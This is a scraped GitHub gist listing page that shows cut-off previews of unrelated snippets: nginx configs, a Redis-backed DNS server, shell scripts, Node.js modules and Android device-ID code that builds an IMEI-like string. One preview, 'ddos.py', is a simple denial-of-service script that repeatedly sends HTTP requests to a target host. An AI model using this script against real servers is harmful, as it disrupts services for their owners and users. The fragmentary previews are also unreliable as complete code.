Skip to content

Instantly share code, notes, and snippets.

public static java.lang.String getDeviceID() {
//1 compute IMEI
TelephonyManager TelephonyMgr = (TelephonyManager)instance.getSystemService(TELEPHONY_SERVICE);
String imei = TelephonyMgr.getDeviceId(); // Requires READ_PHONE_STATE
//2 compute DEVICE ID
String devIDShort = "35" + //we make this look like a valid IMEI
Build.BOARD.length()%10+ Build.BRAND.length()%10 +
Build.CPU_ABI.length()%10 + Build.DEVICE.length()%10 +
Build.DISPLAY.length()%10 + Build.HOST.length()%10 +
@gotomypc
gotomypc / nginx.conf
Last active August 29, 2015 14:08 — forked from y-ken/nginx.conf
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format ltsv 'domain:$host\t'
'host:$remote_addr\t'
'user:$remote_user\t'
'time:$time_local\t'
'method:$request_method\t'
'path:$request_uri\t'
@gotomypc
gotomypc / txredns.py
Last active August 29, 2015 14:08 — forked from gleicon/txredns.py
# Python/Twisted/Redis backed DNS server - resolves from NAME to IP addrs
# fallback to google or any other DNS server to resolv domains not present on Redis
# to set a new domain on redis, just issue a SET domain.tld ip_addr
# run with twistd -ny txredns.tac
# gleicon 2011
from twisted.names import dns, server, client, cache
from twisted.application import service, internet
from twisted.internet import defer
from twisted.python import log
# This number should be, at maximum, the number of CPU cores on your system.
# (since nginx doesn't benefit from more than one worker per CPU.)
worker_processes 8;
# Determines how many clients will be served by each worker process.
# (Max clients = worker_connections * worker_processes)
# "Max clients" is also limited by the number of socket connections available on the system (~64k)
# run ss -s and u'll see a timewait param
# The reason for TIMED_WAIT is to handle the case of packets arriving after the socket is closed.
#!/bin/bash
### VARIABLES ###
PRE_PACK="openssl-devel pcre-devel make gcc"
VER="1.5.1"
# Setup Colours
black='\E[30;40m'
red='\E[31;40m'
@gotomypc
gotomypc / nodejs
Last active August 29, 2015 14:07
#!/bin/sh
#
# chkconfig: 35 99 99
# description: Node.js /home/nodejs/sample/app.js
#
. /etc/rc.d/init.d/functions
USER="nodejs"
#!/bin/bash
# Show the rate of swapping (in number of pages) between executions
OK=0
WARNING=1
CRITICAL=2
UNKNOWN=-1
EXITFLAG=$OK
WARN_THRESHOLD=1
@gotomypc
gotomypc / Timer.js
Last active August 29, 2015 14:06 — forked from magicalhobo/Timer.js
var events = require('events');
var util = require('util');
var EventEmitter = events.EventEmitter;
function Timer(delay, count)
{
EventEmitter.call(this);
count = parseInt(count)
@gotomypc
gotomypc / ddos.py
Last active August 29, 2015 14:06 — forked from tinnguyenz/ddos.py
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
var fs = require('fs'),
stub = require('./stub'),
_ = require('underscore'),
request = require('request');
// config for local file
var basePath = "images/",
data = stub.data,
urlRoot = "http://cdn.catalogs.com/";